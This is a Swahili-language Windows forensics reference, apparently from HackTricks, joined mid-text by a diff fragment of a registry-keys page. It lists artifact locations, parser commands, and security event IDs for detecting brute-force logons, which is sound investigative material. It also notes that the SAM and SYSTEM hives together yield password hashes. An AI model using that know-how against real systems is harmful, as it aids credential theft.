Katika kesi hii, habari itahifadhiwa ndani ya faili ya CSV.
### Jumplists
Hizi ni faili za hivi karibuni ambazo zinaonyeshwa kwa kila programu. Ni orodha ya **faili za hivi karibuni zinazotumiwa na programu** ambazo unaweza kufikia kwenye kila programu. Zinaundwa **kiotomatiki au kuwa za kawaida**.
**Jumplists** zilizoundwa kiotomatiki zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists zinaitwa kwa kufuata muundo wa `{id}.autmaticDestinations-ms` ambapo ID ya awali ni ID ya programu.
Jumplists za kawaida zinahifadhiwa katika `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` na zinaundwa na programu kwa kawaida kwa sababu jambo fulani **muhimu** limetokea na faili (labda imewekwa kama kipenzi).
**Wakati ulioanzishwa** wa jumplist yoyote unaonyesha **wakati wa kwanza faili ilipofikiwa** na **wakati uliobadilishwa mara ya mwisho**.
Unaweza kuchunguza jumplists kwa kutumia [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../images/image (474).png>)
(_Kumbuka kwamba alama za wakati zinazotolewa na JumplistExplorer zinahusiana na faili ya jumplist yenyewe_)
### Shellbags
[**Fuata kiungo hiki kujifunza ni nini shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Matumizi ya Windows USBs
Inawezekana kubaini kwamba kifaa cha USB kilitumika kutokana na uundaji wa:
- Folda ya Hivi Karibuni ya Windows
- Folda ya Hivi Karibuni ya Microsoft Office
- Jumplists
Kumbuka kwamba baadhi ya faili za LNK badala ya kuelekeza kwenye njia ya asili, zinaelekeza kwenye folda ya WPDNSE:
![](<../../../images/image (476).png>)
Faili katika folda ya WPDNSE ni nakala ya zile za asili, hivyo hazitakuwa na uwezo wa kuishi baada ya kuanzisha tena PC na GUID inachukuliwa kutoka shellbag.
### Taarifa za Registry
[Angalia ukurasa huu kujifunza](interesting-windows-registry-keys.md#usb-information) ni funguo zipi za registry zina habari za kuvutia kuhusu vifaa vilivyounganishwa na USB.
### setupapi
Angalia faili `C:\Windows\inf\setupapi.dev.log` ili kupata alama za wakati kuhusu wakati muunganisho wa USB ulifanyika (tafuta `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) inaweza kutumika kupata habari kuhusu vifaa vya USB ambavyo vimeunganishwa kwenye picha.
![](<../../../images/image (483).png>)
### Usafishaji wa Plug and Play
Kazi iliyopangwa inayojulikana kama 'Usafishaji wa Plug and Play' imeundwa hasa kwa ajili ya kuondoa toleo la zamani la madereva. Kinyume na kusudi lake lililotajwa la kuhifadhi toleo la hivi karibuni la kifurushi cha dereva, vyanzo vya mtandaoni vinapendekeza pia inawalenga madereva ambayo hayajatumika kwa siku 30. Kwa hivyo, madereva ya vifaa vinavyoweza kuondolewa ambavyo havijaundwa katika siku 30 zilizopita yanaweza kufutwa.
Kazi hiyo iko katika njia ifuatayo:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Picha ya skrini inayoonyesha maudhui ya kazi hiyo inapatikana:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Vipengele na Mipangilio Muhimu ya Kazi:**
- **pnpclean.dll**: DLL hii inawajibika kwa mchakato halisi wa usafishaji.
- **UseUnifiedSchedulingEngine**: Imewekwa kuwa `TRUE`, ikionyesha matumizi ya injini ya kupanga kazi ya kawaida.
- **MaintenanceSettings**:
- **Period ('P1M')**: Inamwelekeza Mpangaji wa Kazi kuanzisha kazi ya usafishaji kila mwezi wakati wa matengenezo ya Kiotomatiki.
- **Deadline ('P2M')**: Inamwelekeza Mpangaji wa Kazi, ikiwa kazi hiyo inashindwa kwa miezi miwili mfululizo, kutekeleza kazi hiyo wakati wa matengenezo ya dharura ya Kiotomatiki.
Usanidi huu unahakikisha matengenezo ya kawaida na usafishaji wa madereva, ukiwa na mipango ya kujaribu tena kazi hiyo endapo kutakuwa na kushindwa mfululizo.
**Kwa maelezo zaidi angalia:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Barua pepe
Barua pepe zina **sehemu 2 za kuvutia: Vichwa na maudhui** ya barua pepe. Katika **vichwa** unaweza kupata habari kama:
- **Nani** alituma barua pepe (anwani ya barua pepe, IP, seva za barua ambazo zimeelekeza barua pepe)
- **Lini** barua pepe ilitumwa
Pia, ndani ya vichwa vya `References` na `In-Reply-To` unaweza kupata ID ya ujumbe:
![](<../../../images/image (484).png>)
### Windows Mail App
Programu hii huhifadhi barua pepe katika HTML au maandiko. Unaweza kupata barua pepe ndani ya folda ndogo ndani ya `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Barua pepe huhifadhiwa kwa kiendelezi cha `.dat`.
**Metadata** ya barua pepe na **mawasiliano** yanaweza kupatikana ndani ya **databasi ya EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Badilisha kiendelezi** cha faili kutoka `.vol` kuwa `.edb` na unaweza kutumia zana [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) kuifungua. Ndani ya jedwali la `Message` unaweza kuona barua pepe.
### Microsoft Outlook
Wakati seva za Exchange au wateja wa Outlook zinapotumika kutakuwa na vichwa vya MAPI:
- `Mapi-Client-Submit-Time`: Wakati wa mfumo wakati barua pepe ilitumwa
- `Mapi-Conversation-Index`: Idadi ya ujumbe wa watoto wa thread na alama za wakati za kila ujumbe wa thread
- `Mapi-Entry-ID`: Kitambulisho cha ujumbe.
- `Mappi-Message-Flags` na `Pr_last_Verb-Executed`: Habari kuhusu mteja wa MAPI (ujumbe umesomwa? haujasomwa? umejibu? umeelekezwa? nje ya ofisi?)
Katika mteja wa Microsoft Outlook, ujumbe wote waliotumwa/waliopokelewa, data za mawasiliano, na data za kalenda huhifadhiwa katika faili ya PST katika:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Njia ya registry `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` inaonyesha faili inayotumika.
Unaweza kufungua faili ya PST kwa kutumia zana [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../images/image (485).png>)
### Faili za Microsoft Outlook OST
Faili ya **OST** inaundwa na Microsoft Outlook wakati imewekwa na **IMAP** au seva ya **Exchange**, ikihifadhi habari sawa na faili ya PST. Faili hii inasawazishwa na seva, ikihifadhi data kwa **mwezi 12 uliopita** hadi **ukubwa wa juu wa 50GB**, na iko katika saraka sawa na faili ya PST. Ili kuona faili ya OST, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) inaweza kutumika.
### Kurejesha Viambatisho
Viambatisho vilivyopotea vinaweza kurejelewa kutoka:
- Kwa **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Kwa **IE11 na zaidi**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Faili za Thunderbird MBOX
**Thunderbird** hutumia **faili za MBOX** kuhifadhi data, zilizoko katika `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Thumbnail za Picha
- **Windows XP na 8-8.1**: Kufikia folda yenye thumbnail kunazalisha faili ya `thumbs.db` inayohifadhi mapitio ya picha, hata baada ya kufutwa.
- **Windows 7/10**: `thumbs.db` inaundwa wakati inafikiwa kupitia mtandao kwa njia ya UNC.
- **Windows Vista na toleo jipya**: Mapitio ya thumbnail yanakusanywa katika `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` na faili zinaitwa **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) na [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) ni zana za kuona faili hizi.
### Taarifa za Windows Registry
Registry ya Windows, inayohifadhi data kubwa ya shughuli za mfumo na mtumiaji, inapatikana ndani ya faili katika:
- `%windir%\System32\Config` kwa funguo mbalimbali za `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` kwa `HKEY_CURRENT_USER`.
- Windows Vista na toleo jipya hufanya nakala ya faili za registry za `HKEY_LOCAL_MACHINE` katika `%Windir%\System32\Config\RegBack\`.
- Aidha, habari za utekelezaji wa programu huhifadhiwa katika `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` kuanzia Windows Vista na Windows 2008 Server kuendelea.
### Zana
Zana kadhaa ni muhimu kuchambua faili za registry:
- **Registry Editor**: Imewekwa katika Windows. Ni GUI ya kuvinjari kupitia registry ya Windows ya kikao cha sasa.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Inakuwezesha kupakia faili ya registry na kuvinjari kupitia hizo kwa GUI. Pia ina Vitabu vya Alama vinavyosisitiza funguo zenye habari za kuvutia.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Tena, ina GUI inayoruhusu kuvinjari kupitia registry iliyopakiwa na pia ina plugins zinazosisitiza habari za kuvutia ndani ya registry iliyopakiwa.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Programu nyingine ya GUI inayoweza kutoa habari muhimu kutoka kwa registry iliyopakiwa.
### Kurejesha Kitu Kilichofutwa
Wakati funguo inafutwa inakisiwa kama hivyo, lakini hadi nafasi inayoshikilia haitumiki haitafutwa. Kwa hivyo, kutumia zana kama **Registry Explorer** inawezekana kurejesha funguo hizi zilizofutwa.
### Wakati wa Mwisho wa Kuandika
Kila Key-Value ina **alama ya wakati** inayoonyesha wakati wa mwisho ilipobadilishwa.
### SAM
Faili/hive **SAM** ina **watumiaji, vikundi na nywila za watumiaji** za mfumo.
Katika `SAM\Domains\Account\Users` unaweza kupata jina la mtumiaji, RID, kuingia kwa mwisho, kuingia kwa mwisho kulikoshindwa, hesabu ya kuingia, sera ya nywila na wakati akaunti ilianzishwa. Ili kupata **hashes** unahitaji pia **faili/hive** **SYSTEM**.
### Kuingilia ya Kuvutia katika Registry ya Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Programu Zilizotekelezwa
### Mchakato wa Msingi wa Windows
Katika [post hii](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) unaweza kujifunza kuhusu mchakato wa kawaida wa Windows ili kugundua tabia za kushangaza.
### APPs za Hivi Karibuni za Windows
Ndani ya registry `NTUSER.DAT` katika njia `Software\Microsoft\Current Version\Search\RecentApps` unaweza kupata funguo ndogo zenye habari kuhusu **programu iliyotekelezwa**, **wakati wa mwisho** ilipotekelezwa, na **idadi ya mara** ilizinduliwa.
### BAM (Background Activity Moderator)
Unaweza kufungua faili ya `SYSTEM` kwa mhariri wa registry na ndani ya njia `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` unaweza kupata habari kuhusu **programu zilizotekelezwa na kila mtumiaji** (kumbuka `{SID}` katika njia) na **wakati gani** zilitekelezwa (wakati uko ndani ya thamani ya Data ya registry).
### Windows Prefetch
Prefetching ni mbinu inayoruhusu kompyuta **kufanya kimya kimya kupakua rasilimali zinazohitajika kuonyesha maudhui** ambayo mtumiaji **anaweza kufikia katika siku za usoni** ili rasilimali ziweze kufikiwa haraka.
Windows prefetch inajumuisha kuunda **cache za programu zilizotekelezwa** ili kuweza kuzipakia haraka. Cache hizi zinaundwa kama faili za `.pf` ndani ya njia: `C:\Windows\Prefetch`. Kuna kikomo cha faili 128 katika XP/VISTA/WIN7 na 1024 katika Win8/Win10.
Jina la faili linaundwa kama `{program_name}-{hash}.pf` (hash inategemea njia na hoja za executable). Katika W10 faili hizi zimepandishwa. Kumbuka kwamba uwepo wa faili hiyo unadhihirisha kwamba **programu ilitekelezwa** wakati fulani.
Faili `C:\Windows\Prefetch\Layout.ini` ina **majina ya folda za faili ambazo zimepakiwa**. Faili hii ina **habari kuhusu idadi ya utekelezaji**, **tarehe** za utekelezaji na **faili** **zilizofunguliwa** na programu.
Ili kuchunguza faili hizi unaweza kutumia zana [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../images/image (487).png>)
### Superprefetch
**Superprefetch** ina lengo sawa na prefetch, **kupakia programu haraka** kwa kutabiri kile kitakachopakuliwa next. Hata hivyo, haitoi huduma ya prefetch.\
Huduma hii itaunda faili za database katika `C:\Windows\Prefetch\Ag*.db`.
Katika hizi databases unaweza kupata **jina** la **programu**, **idadi** ya **utekelezaji**, **faili** **zilizofunguliwa**, **kiasi** **kilichofikiwa**, **njia** **kamili**, **muda** na **alama za muda**.
Unaweza kufikia taarifa hii kwa kutumia chombo [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **inasimamia** **rasilimali** **zinazotumiwa** **na mchakato**. Ilionekana katika W8 na inahifadhi data katika database ya ESE iliyoko katika `C:\Windows\System32\sru\SRUDB.dat`.
Inatoa taarifa zifuatazo:
- AppID na Njia
- Mtumiaji aliyeendesha mchakato
- Bytes zilizotumwa
- Bytes zilizopokelewa
- Kiunganishi cha Mtandao
- Muda wa muunganisho
- Muda wa mchakato
Taarifa hii inasasishwa kila dakika 60.
Unaweza kupata tarehe kutoka faili hii kwa kutumia chombo [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**AppCompatCache**, pia inajulikana kama **ShimCache**, ni sehemu ya **Application Compatibility Database** iliyotengenezwa na **Microsoft** ili kushughulikia masuala ya ulinganifu wa programu. Kipengele hiki cha mfumo kinarekodi vipande mbalimbali vya metadata ya faili, ambayo ni pamoja na:
- Njia kamili ya faili
- Ukubwa wa faili
- Wakati wa Marekebisho ya Mwisho chini ya **$Standard_Information** (SI)
- Wakati wa Sasisho la Mwisho la ShimCache
- Bendera ya Utekelezaji wa Mchakato
Taarifa kama hizi zinahifadhiwa ndani ya rejista katika maeneo maalum kulingana na toleo la mfumo wa uendeshaji:
- Kwa XP, data inahifadhiwa chini ya `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` ikiwa na uwezo wa kuingia 96.
- Kwa Server 2003, pamoja na toleo la Windows 2008, 2012, 2016, 7, 8, na 10, njia ya hifadhi ni `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, ikikubali kuingia 512 na 1024, mtawalia.
Ili kuchambua taarifa zilizohifadhiwa, zana ya [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) inapendekezwa kutumika.
![](<../../../images/image (488).png>)
### Amcache
Faili ya **Amcache.hve** kimsingi ni hive ya rejista inayorekodi maelezo kuhusu programu ambazo zimefanywa kwenye mfumo. Kawaida hupatikana katika `C:\Windows\AppCompat\Programas\Amcache.hve`.
Faili hii ni ya kipekee kwa kuhifadhi rekodi za michakato iliyotekelezwa hivi karibuni, ikiwa ni pamoja na njia za faili zinazotekelezwa na hash zao za SHA1. Taarifa hii ni ya thamani kubwa kwa kufuatilia shughuli za programu kwenye mfumo.
Ili kutoa na kuchambua data kutoka **Amcache.hve**, zana ya [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) inaweza kutumika. Amri ifuatayo ni mfano wa jinsi ya kutumia AmcacheParser kuchambua maudhui ya faili ya **Amcache.hve** na kutoa matokeo katika muundo wa CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Kati ya faili za CSV zilizozalishwa, `Amcache_Unassociated file entries` inajulikana hasa kutokana na taarifa nyingi inazotoa kuhusu entries za faili zisizo na uhusiano.
Faili ya CVS inayovutia zaidi iliyozalishwa ni `Amcache_Unassociated file entries`.
### RecentFileCache
Kipande hiki kinaweza kupatikana tu katika W7 katika `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` na kina taarifa kuhusu utekelezaji wa hivi karibuni wa baadhi ya binaries.
Unaweza kutumia chombo [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) kuchambua faili hiyo.
### Scheduled tasks
Unaweza kuzitoa kutoka `C:\Windows\Tasks` au `C:\Windows\System32\Tasks` na kuzisoma kama XML.
### Services
Unaweza kuziona katika rejista chini ya `SYSTEM\ControlSet001\Services`. Unaweza kuona kinachotarajiwa kutekelezwa na lini.
### **Windows Store**
Programu zilizowekwa zinaweza kupatikana katika `\ProgramData\Microsoft\Windows\AppRepository\`\
Hifadhi hii ina **log** yenye **kila programu iliyowekwa** katika mfumo ndani ya database **`StateRepository-Machine.srd`**.
Ndani ya jedwali la Programu la database hii, inawezekana kupata safu: "Application ID", "PackageNumber", na "Display Name". Safu hizi zina taarifa kuhusu programu zilizowekwa awali na zilizowekwa na zinaweza kupatikana ikiwa baadhi ya programu ziliondolewa kwa sababu IDs za programu zilizowekwa zinapaswa kuwa za mfululizo.
Pia inawezekana **kupata programu zilizowekwa** ndani ya njia ya rejista: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Na **programu zilizondolewa** katika: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Events
Taarifa zinazojitokeza ndani ya matukio ya Windows ni:
- Nini kilitokea
- Wakati (UTC + 0)
- Watumiaji waliohusika
- Kompyuta zilizohusika (jina la kompyuta, IP)
- Mali zilizofikiwa (faili, folda, printer, huduma)
Makaratasi yako katika `C:\Windows\System32\config` kabla ya Windows Vista na katika `C:\Windows\System32\winevt\Logs` baada ya Windows Vista. Kabla ya Windows Vista, rekodi za matukio zilikuwa katika muundo wa binary na baada yake, ziko katika **muundo wa XML** na zinatumia kiendelezi **.evtx**.
Mahali pa faili za matukio yanaweza kupatikana katika rejista ya SYSTEM katika **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Zinaweza kuonyeshwa kutoka kwa Windows Event Viewer (**`eventvwr.msc`**) au kwa zana nyingine kama [**Event Log Explorer**](https://eventlogxp.com) **au** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Kuelewa Usajili wa Matukio ya Usalama wa Windows
Matukio ya ufikiaji yanarekodiwa katika faili ya usanidi wa usalama iliyoko katika `C:\Windows\System32\winevt\Security.evtx`. Ukubwa wa faili hii unaweza kubadilishwa, na wakati uwezo wake unafikiwa, matukio ya zamani yanazuiliwa. Matukio yaliyorekodiwa ni pamoja na kuingia na kutoka kwa watumiaji, vitendo vya watumiaji, na mabadiliko ya mipangilio ya usalama, pamoja na ufikiaji wa faili, folda, na mali zilizoshirikiwa.
### Nambari za Matukio Muhimu za Uthibitishaji wa Mtumiaji:
- **EventID 4624**: Inaonyesha mtumiaji ameweza kuthibitishwa kwa mafanikio.
- **EventID 4625**: Inaashiria kushindwa kwa uthibitishaji.
- **EventIDs 4634/4647**: Zinawakilisha matukio ya kutoka kwa mtumiaji.
- **EventID 4672**: Inaonyesha kuingia kwa mamlaka ya usimamizi.
#### Aina za chini ndani ya EventID 4634/4647:
- **Interactive (2)**: Kuingia moja kwa moja kwa mtumiaji.
- **Network (3)**: Ufikiaji wa folda zilizoshirikiwa.
- **Batch (4)**: Utekelezaji wa michakato ya batch.
- **Service (5)**: Uzinduzi wa huduma.
- **Proxy (6)**: Uthibitishaji wa proxy.
- **Unlock (7)**: Skrini imefunguliwa kwa nambari ya siri.
- **Network Cleartext (8)**: Uhamasishaji wa nambari ya siri wazi, mara nyingi kutoka IIS.
- **New Credentials (9)**: Matumizi ya ithibati tofauti kwa ufikiaji.
- **Remote Interactive (10)**: Kuingia kwa desktop ya mbali au huduma za terminal.
- **Cache Interactive (11)**: Kuingia kwa ithibati iliyohifadhiwa bila kuwasiliana na udhibiti wa kikoa.
- **Cache Remote Interactive (12)**: Kuingia kwa mbali kwa ithibati iliyohifadhiwa.
- **Cached Unlock (13)**: Kufungua kwa ithibati iliyohifadhiwa.
#### Nambari za Hali na Hali ya Chini kwa EventID 4625:
- **0xC0000064**: Jina la mtumiaji halipo - Inaweza kuashiria shambulio la kuhesabu majina ya watumiaji.
- **0xC000006A**: Jina la mtumiaji sahihi lakini nambari ya siri si sahihi - Jaribio la kukisia nambari ya siri au jaribio la nguvu.
- **0xC0000234**: Akaunti ya mtumiaji imefungwa - Inaweza kufuatia shambulio la nguvu linalosababisha kuingia kwa mara nyingi bila mafanikio.
- **0xC0000072**: Akaunti imezuiliwa - Jaribio zisizoidhinishwa za kufikia akaunti zilizozuiliwa.
- **0xC000006F**: Kuingia nje ya wakati ulioidhinishwa - Inaonyesha jaribio la kufikia nje ya masaa yaliyowekwa ya kuingia, ishara inayoweza kuashiria ufikiaji usioidhinishwa.
- **0xC0000070**: Kukiuka vikwazo vya workstation - Inaweza kuwa jaribio la kuingia kutoka eneo lisiloidhinishwa.
- **0xC0000193**: Kuisha kwa akaunti - Jaribio la kufikia kwa akaunti za mtumiaji zilizokwisha.
- **0xC0000071**: Nambari ya siri iliyokwisha - Jaribio la kuingia kwa nambari za siri zilizopita.
- **0xC0000133**: Masuala ya usawazishaji wa wakati - Tofauti kubwa za wakati kati ya mteja na seva zinaweza kuashiria mashambulizi ya hali ya juu kama pass-the-ticket.
- **0xC0000224**: Mabadiliko ya nambari ya siri yanahitajika - Mabadiliko ya mara kwa mara yanaweza kuashiria jaribio la kuharibu usalama wa akaunti.
- **0xC0000225**: Inaonyesha hitilafu ya mfumo badala ya suala la usalama.
- **0xC000015b**: Aina ya kuingia iliyokataliwa - Jaribio la ufikiaji kwa aina ya kuingia isiyoidhinishwa, kama mtumiaji anajaribu kutekeleza kuingia kwa huduma.
#### EventID 4616:
- **Mabadiliko ya Wakati**: Mabadiliko ya wakati wa mfumo, yanaweza kuficha muda wa matukio.
#### EventID 6005 na 6006:
- **Kuanza na Kufunga Mfumo**: EventID 6005 inaonyesha mfumo unaanzishwa, wakati EventID 6006 inaashiria unafungwa.
#### EventID 1102:
- **Futa Makaratasi**: Makaratasi ya usalama yanapofutwa, ambayo mara nyingi ni ishara mbaya ya kuficha shughuli haramu.
#### EventIDs za Ufuatiliaji wa Kifaa cha USB:
- **20001 / 20003 / 10000**: Muunganisho wa kwanza wa kifaa cha USB.
- **10100**: Sasisho la dereva wa USB.
- **EventID 112**: Wakati wa kuingizwa kwa kifaa cha USB.
Kwa mifano halisi ya kuiga aina hizi za kuingia na fursa za kutupa ithibati, rejelea [mwongozo wa kina wa Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
Maelezo ya matukio, ikiwa ni pamoja na nambari za hali na hali ya chini, yanatoa ufahamu zaidi kuhusu sababu za matukio, hasa yanayoonekana katika Event ID 4625.
### Kuokoa Matukio ya Windows
Ili kuongeza nafasi za kuokoa matukio ya Windows yaliyofutwa, ni vyema kuzima kompyuta inayoshukiwa kwa kuiondoa moja kwa moja. **Bulk_extractor**, chombo cha kuokoa kinachobainisha kiendelezi cha `.evtx`, kinapendekezwa kwa kujaribu kuokoa matukio kama haya.
### Kutambua Mashambulizi ya Kawaida kupitia Matukio ya Windows
Kwa mwongozo wa kina juu ya kutumia Nambari za Matukio ya Windows katika kutambua mashambulizi ya kawaida ya mtandao, tembelea [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Mashambulizi ya Nguvu
Inatambulika kwa rekodi nyingi za EventID 4625, ikifuatwa na EventID 4624 ikiwa shambulio linafanikiwa.
#### Mabadiliko ya Wakati
Yanakumbukwa na EventID 4616, mabadiliko ya wakati wa mfumo yanaweza kuleta changamoto katika uchambuzi wa forensics.
#### Ufuatiliaji wa Kifaa cha USB
Nambari za Matukio za Mfumo zinazofaa kwa ufuatiliaji wa kifaa cha USB ni pamoja na 20001/20003/10000 kwa matumizi ya awali, 10100 kwa sasisho za dereva, na EventID 112 kutoka kwa DeviceSetupManager kwa wakati wa kuingizwa.
#### Matukio ya Nguvu ya Mfumo
EventID 6005 inaonyesha kuanzishwa kwa mfumo, wakati EventID 6006 inaashiria kufungwa.
#### Futa Makaratasi
EventID 1102 ya Usalama inaashiria kufutwa kwa makaratasi, tukio muhimu kwa uchambuzi wa forensics.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,101 +0,0 @@
# Interesting Windows Registry Keys
### Interesting Windows Registry Keys
{{#include ../../../banners/hacktricks-training.md}}
### **Windows Version and Owner Info**
- Iko kwenye **`Software\Microsoft\Windows NT\CurrentVersion`**, utapata toleo la Windows, Service Pack, wakati wa usakinishaji, na jina la mmiliki aliyejiandikisha kwa njia rahisi.
### **Computer Name**
- Jina la kompyuta linapatikana chini ya **`System\ControlSet001\Control\ComputerName\ComputerName`**.
### **Time Zone Setting**
- Muda wa mfumo umehifadhiwa katika **`System\ControlSet001\Control\TimeZoneInformation`**.
### **Access Time Tracking**
- Kwa kawaida, ufuatiliaji wa wakati wa mwisho wa ufikiaji umezimwa (**`NtfsDisableLastAccessUpdate=1`**). Ili kuuwezesha, tumia:
`fsutil behavior set disablelastaccess 0`
### Windows Versions and Service Packs
- **Toleo la Windows** linaonyesha toleo (mfano, Home, Pro) na kutolewa kwake (mfano, Windows 10, Windows 11), wakati **Service Packs** ni masasisho yanayojumuisha marekebisho na, wakati mwingine, vipengele vipya.
### Enabling Last Access Time
- Kuwawezesha ufuatiliaji wa wakati wa mwisho wa ufikiaji kunakuwezesha kuona wakati faili zilifunguliwa kwa mara ya mwisho, ambayo inaweza kuwa muhimu kwa uchambuzi wa forensics au ufuatiliaji wa mfumo.
### Network Information Details
- Usajili una data kubwa kuhusu usanidi wa mtandao, ikiwa ni pamoja na **aina za mitandao (wireless, cable, 3G)** na **makundi ya mtandao (Public, Private/Home, Domain/Work)**, ambayo ni muhimu kwa kuelewa mipangilio ya usalama wa mtandao na ruhusa.
### Client Side Caching (CSC)
- **CSC** inaboresha ufikiaji wa faili za mbali kwa kuhifadhi nakala za faili zilizoshirikiwa. Mipangilio tofauti ya **CSCFlags** inasimamia jinsi na ni faili zipi zinazohifadhiwa, ikihusisha utendaji na uzoefu wa mtumiaji, hasa katika mazingira yenye muunganisho wa muda mfupi.
### AutoStart Programs
- Programu zilizoorodheshwa katika funguo mbalimbali za usajili za `Run` na `RunOnce` zinaanzishwa moja kwa moja wakati wa kuanzisha, zikihusisha muda wa kuanzisha mfumo na kuwa maeneo ya kupigiwa mfano kwa kutambua malware au programu zisizohitajika.
### Shellbags
- **Shellbags** sio tu hifadhi mapendeleo ya maoni ya folda bali pia hutoa ushahidi wa forensics wa ufikiaji wa folda hata kama folda hiyo haipo tena. Ni muhimu kwa uchunguzi, ikifunua shughuli za mtumiaji ambazo hazionekani kupitia njia nyingine.
### USB Information and Forensics
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB yanaweza kusaidia kufuatilia ni vifaa gani vilivyounganishwa kwenye kompyuta, ikihusisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usioidhinishwa.
### Volume Serial Number
- **Nambari ya Mfululizo wa Kijamii** inaweza kuwa muhimu kwa kufuatilia tukio maalum la mfumo wa faili, muhimu katika hali za forensics ambapo asili ya faili inahitaji kuanzishwa kati ya vifaa tofauti.
### **Shutdown Details**
- Wakati wa kuzima na hesabu (hii ya mwisho ni kwa XP pekee) huhifadhiwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
### **Network Configuration**
- Kwa maelezo ya kina ya kiunganishi cha mtandao, rejea **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- Wakati wa kwanza na wa mwisho wa muunganisho wa mtandao, ikiwa ni pamoja na muunganisho wa VPN, umeandikwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
### **Shared Folders**
- Folda na mipangilio zilizoshirikiwa ziko chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Client Side Caching (CSC) inaamuru upatikanaji wa faili za mbali.
### **Programs that Start Automatically**
- Njia kama **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** na entries zinazofanana chini ya `Software\Microsoft\Windows\CurrentVersion` zinaelezea programu zilizowekwa kuanzishwa wakati wa kuanzisha.
### **Searches and Typed Paths**
- Utafutaji wa Explorer na njia zilizotajwa zinafuatiliwa katika usajili chini ya **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** kwa WordwheelQuery na TypedPaths, mtawalia.
### **Recent Documents and Office Files**
- Hati za hivi karibuni na faili za Ofisi zilizofikiwa zimeandikwa katika `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` na njia maalum za toleo la Ofisi.
### **Most Recently Used (MRU) Items**
- Orodha za MRU, zikionyesha njia za faili za hivi karibuni na amri, zimehifadhiwa katika funguo mbalimbali za `ComDlg32` na `Explorer` chini ya `NTUSER.DAT`.
### **User Activity Tracking**
